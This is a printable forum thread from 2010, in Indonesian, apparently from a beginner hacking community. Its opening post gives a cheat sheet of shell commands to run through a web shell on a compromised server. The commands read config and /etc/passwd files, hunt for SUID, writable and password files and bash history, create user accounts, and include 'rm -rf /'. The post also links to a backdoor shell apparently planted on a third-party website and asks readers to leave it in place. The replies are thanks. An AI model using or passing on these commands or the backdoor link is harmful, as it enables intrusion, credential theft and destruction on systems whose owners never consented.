HN-Community
Command WebShell [CLI] - Printable Version

+- HN-Community (https://hacker-newbie.org)
+-- Forum: Miscellaneous (https://hacker-newbie.org/forum-86.html)
+--- Forum: General Computing (https://hacker-newbie.org/forum-16.html)
+---- Forum: Batch, Shell, DOS and Command Line Interpreters (https://hacker-newbie.org/forum-22.html)
+---- Thread: Command WebShell [CLI] (/thread-4470.html)

Pages: 1 2


Command WebShell [CLI] - Lara_Gibson - 08-20-2010

* Lara_Gibson setelah lama g join HN setelah baca-baca juga thread dari kakak-kakak ternyata masih banyak yang bingung bahkan belum tahu command-command di webshell. Capek
Pengen tau ?? Bigsmile
ini sedikit list command yang bisa di jalankan pada webshell, yang mungkin berguna untuk kakak-kakak.
Quote:cat ./../mainfile.php = Config file.

ls -la = Lists directory's.

ifconfig {eth0 etc} = Ipconfig equiv.

ps aux - Show running proccess's.

gcc in_file -o out_file - Compile c file.

cat /etc/passwd - List's accounts.

sudo - Superuser Do run a command as root provided you have perms
in /etc/sudoers.

id - Tells you what user your logged in as.

which wget curl w3m lynx - Check's to see what downloaders are
present.

uname -r - Shows all release info (or) cat /etc/release.

uname -a - Shows all kernal info (or) cat /etc/issue

last -30 - Last logged 30 ip's can change to desired number.

useradd - Create new user account.

usermod - Modify user account.

w - See who is currently logged on.

locate password.txt - Locates password.txt in current dur can use *.

rm -rf / - Please be carefull with this command, i cannot stress this
enough.

arp -a - Lists other machines are on the same subnet.

lsattr -va - ls file attributes on linux second extended file system

find / -type f -perm -04000 -ls - Finds suid files.

find . -type f -perm -04000 -ls - Finds suid files in current dir.

find / -type f -perm -02000 -ls - Finds all sgid files.

find / -perm -2 -ls - Finds all writable files and folders.

find . -perm -2 -ls - Finds all writable files and folders in current dir.

find / -type f -name .bash_history - Finds bash history.

netstat -an | grep -i listen - shows open ports.

cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user
with no pass.

find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.

cat /proc/version /proc/cpuinfo - Cpu info.

locate gcc- Finds gcc if installed.

set - Display system variables.

echo $path- Echo current path.

lsmod- Dumps kernal modules.

mount/df- Check mounted file system.

rpm -qa- Check patch level for RedHat 7.0.

dmesg- Check hardware ino.

cat /etc/syslog.conf - Log file.

uptime - Uptime check.

cat /proc/meminfo - Memory check.

find / -type f -perm -4 -print 2> /dev/null- Find readble files.

find / -type f -perm -2 -print 2> /dev/null - Find writable files.

chmod ### $folder - Chmod folder.

ls -l -b - Verbosly list directory's
silahkan di tambahin kalo mungkin ada yang kurang Capek

* Lara_Gibson kasih shell nya juga untuk belajar..
tapi mohon jangan di hapus yah backdoor nya kak Bigsmile
Quote:http://www.gangas.be/shell.php

sekian dari Lara, semoga bisa berguna Culas
Thanks to kakak Alecs yang udah minjemin shellnya Mantab





RE: Command WebShell [CLI] - coe88 - 08-20-2010

Woooh baru tw aq mba ttg command2 di web shell.
Ane pelajari dulu yah + bookmark juga.
Mantab


RE: Command WebShell [CLI] - Lara_Gibson - 08-20-2010

(08-20-2010, 09:29 AM)coe88 Wrote: Woooh baru tw aq mba ttg command2 di web shell.
Ane pelajari dulu yah + bookmark juga.
Mantab

silahkan kakak Senang


RE: Command WebShell [CLI] - Gelby - 08-20-2010

saya jg kk....
cz dalam tahap blajar CLI....



RE: Command WebShell [CLI] - Sidom - 08-20-2010

nice share kk..
skalian praktek bljr CLI


RE: Command WebShell [CLI] - erwinscot - 08-20-2010

weeee...mantap....bookmark dlu...


RE: Command WebShell [CLI] - dede_qibo - 09-01-2010

ijin sedot dl ya kk..


RE: Command WebShell [CLI] - b4ju_r0mb3ng - 09-01-2010

wogh mangtab cc gak percuma tuh kang alecs hohoho ajarim me napah hohohohohohoh


RE: Command WebShell [CLI] - wendy - 09-01-2010

thanks kaka nice inpoh


RE: Command WebShell [CLI] - panjul - 09-20-2010

mantabzz iponya,,,,